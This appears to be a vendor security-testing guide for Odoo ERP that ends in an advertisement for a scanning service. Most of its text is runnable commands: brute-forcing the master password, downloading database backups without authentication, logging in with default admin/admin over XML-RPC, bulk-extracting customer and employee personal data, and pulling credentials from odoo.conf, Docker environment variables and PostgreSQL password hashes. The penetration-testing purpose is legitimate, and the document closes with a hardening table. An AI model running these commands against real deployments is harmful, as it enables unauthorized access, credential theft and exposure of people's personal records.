Odoo Security Testing: Master Password, XML-RPC API, PostgreSQL, and Admin Credentials

Odoo (formerly OpenERP) is one of the most widely deployed open-source ERP platforms, used by businesses of all sizes to manage CRM, accounting, inventory, manufacturing, HR, and payroll across hundreds of integrated modules. Its Python-based architecture and XML-RPC API make it a rich target for systematic security assessment. Key areas: Odoo's master_password in odoo.conf controls access to the database manager at /web/database/manager — including database backup, restore, and drop; the XML-RPC API provides programmatic access to all ERP models; Odoo defaults to admin/admin in development and many production deployments; odoo.conf stores the PostgreSQL superuser password; and multi-company record rules can be bypassed with manipulated domain filters. This guide covers systematic Odoo security assessment.

Table of Contents

  1. Database Manager Exposure and Master Password
  2. XML-RPC API ERP Data Enumeration
  3. odoo.conf Credential Extraction
  4. Odoo Security Hardening

Database Manager Exposure and Master Password

# Odoo — database manager exposure and master password testing
ODOO_URL="https://odoo.example.com"

# Check if /web/database/manager is accessible without restriction
curl -s -o /dev/null -w "%{http_code}" "${ODOO_URL}/web/database/manager" 2>/dev/null
# 200 = database manager accessible — critical exposure
# Should return 403 or redirect if properly restricted

# Check if database listing is accessible without master password
curl -s "${ODOO_URL}/web/database/list" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"call","params":{}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
result = d.get('result',[])
print(f'Databases: {result}')
" 2>/dev/null

# Test for blank/weak master password on database backup endpoint
# Note: This downloads a database backup if master_password is empty
curl -s -X POST "${ODOO_URL}/web/database/backup" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "master_pwd=&name=odoo&backup_format=zip" \
  -o /dev/null -w "%{http_code}" 2>/dev/null
# 200 with content-length > 1000 = backup succeeded (no master password required)

# Try common master passwords
for PWD in "" "admin" "odoo" "master" "password" "123456"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
    "${ODOO_URL}/web/database/list" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data "master_pwd=${PWD}" 2>/dev/null)
  echo "master_pwd='${PWD}': HTTP ${STATUS}"
done

XML-RPC API ERP Data Enumeration

# Odoo XML-RPC API — full ERP data access
ODOO_URL="https://odoo.example.com"
DB="odoo"
USERNAME="admin"
PASSWORD="admin"

# Step 1: Authenticate via XML-RPC to get user ID
UID=$(python3 -c "
import xmlrpc.client
common = xmlrpc.client.ServerProxy('${ODOO_URL}/xmlrpc/2/common')
uid = common.authenticate('${DB}', '${USERNAME}', '${PASSWORD}', {})
print(uid)
" 2>/dev/null)
echo "UID: $UID"

# Step 2: Access ERP data with authenticated session
python3 << EOF
import xmlrpc.client

url = '${ODOO_URL}'
db = '${DB}'
uid = ${UID:-0}
password = '${PASSWORD}'

models = xmlrpc.client.ServerProxy(f'{url}/xmlrpc/2/object')

# CRM — all customer/partner records
partners = models.execute_kw(db, uid, password, 'res.partner', 'search_read',
    [[['customer_rank', '>', 0]]], {'fields': ['name','email','phone','mobile','street','city','country_id'], 'limit': 50})
print(f'Customers: {len(partners)}')
for p in partners[:5]:
    print(f'  {p["name"]} email={p.get("email")} phone={p.get("phone")}')

# Accounting — all invoices
invoices = models.execute_kw(db, uid, password, 'account.move', 'search_read',
    [[['move_type', '=', 'out_invoice']]], {'fields': ['name','partner_id','amount_total','payment_state','invoice_date'], 'limit': 20})
print(f'Sales invoices: {len(invoices)}')

# HR — employee records
try:
    employees = models.execute_kw(db, uid, password, 'hr.employee', 'search_read',
        [[]], {'fields': ['name','work_email','department_id','job_title','private_email','birthday'], 'limit': 20})
    print(f'Employees: {len(employees)}')
    for e in employees[:5]:
        print(f'  {e["name"]} work={e.get("work_email")} private={e.get("private_email")} dob={e.get("birthday")}')
except Exception as ex:
    print(f'HR access denied: {ex}')
EOF

odoo.conf Credential Extraction

# Odoo odoo.conf and PostgreSQL credential extraction

# odoo.conf — PostgreSQL credentials and master password
cat /etc/odoo/odoo.conf 2>/dev/null | \
  grep -E "admin_passwd|db_password|db_user|db_host|db_name|logfile"
# admin_passwd — master password for /web/database/manager
# db_password — PostgreSQL database user password

# Docker deployment — environment variables
docker inspect odoo 2>/dev/null | python3 -c "
import json,sys
try:
    containers=json.load(sys.stdin)
    for c in containers:
        env = c.get('Config',{}).get('Env',[])
        for e in env:
            if any(k in e for k in ['PASSWORD','PASS','HOST_DB','ODOO']):
                print(e)
except: pass
" 2>/dev/null

# PostgreSQL direct access — Odoo user table with pbkdf2 hashes
psql -U odoo -d odoo 2>/dev/null << 'EOF'
SELECT id, name, login, password, share, active, groups_id
FROM res_users
WHERE active = true
ORDER BY id
LIMIT 20;
EOF
# password — PBKDF2-SHA512 hash for Odoo 17+, SHA1 or scrypt for earlier versions

# Check for empty master password via database manager list
curl -s -X POST "${ODOO_URL}/web/database/list" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"call","id":1,"params":{"fields":[]}}' 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
r=d.get('result',[])
print(f'Databases listed without auth: {r}')
" 2>/dev/null

Odoo Security Hardening

Odoo Security Hardening Checklist:
Security TestMethodRisk
Database manager exposure with no/weak master passwordGET /web/database/manager — check accessibility; POST /web/database/backup with empty master_pwd — 200 response with ZIP content indicates no master password; full database backup download exposes all ERP dataCritical
Default admin/admin credential exploitationXML-RPC authenticate('db','admin','admin',{}) — returns positive UID if successful; XML-RPC access to all ERP models including customer records, invoices, employee PII, and accountingCritical
XML-RPC customer, invoice, and employee data extractionexecute_kw on res.partner, account.move, hr.employee — complete customer database, all sales and purchase invoices with totals, all employee records with private email and birth dateCritical
odoo.conf admin_passwd and db_password extractionRead /etc/odoo/odoo.conf — admin_passwd (database manager master password), db_password (PostgreSQL password); PostgreSQL access exposes all ERP data and user password hashesCritical
Database listing without authenticationPOST /web/database/list with no master_pwd — lists all Odoo databases on the server; enables targeted database selection for backup extraction or restoration attacksHigh

Automate Odoo Security Testing

Ironimo tests Odoo deployments for database manager accessibility and master password weakness, default admin credential exploitation via XML-RPC, complete ERP data enumeration across CRM, accounting, HR, and inventory modules, odoo.conf master password and PostgreSQL credential extraction, database listing without authentication, multi-company record rule bypass testing, Docker environment variable credential exposure, and PostgreSQL user hash extraction.

Start free scan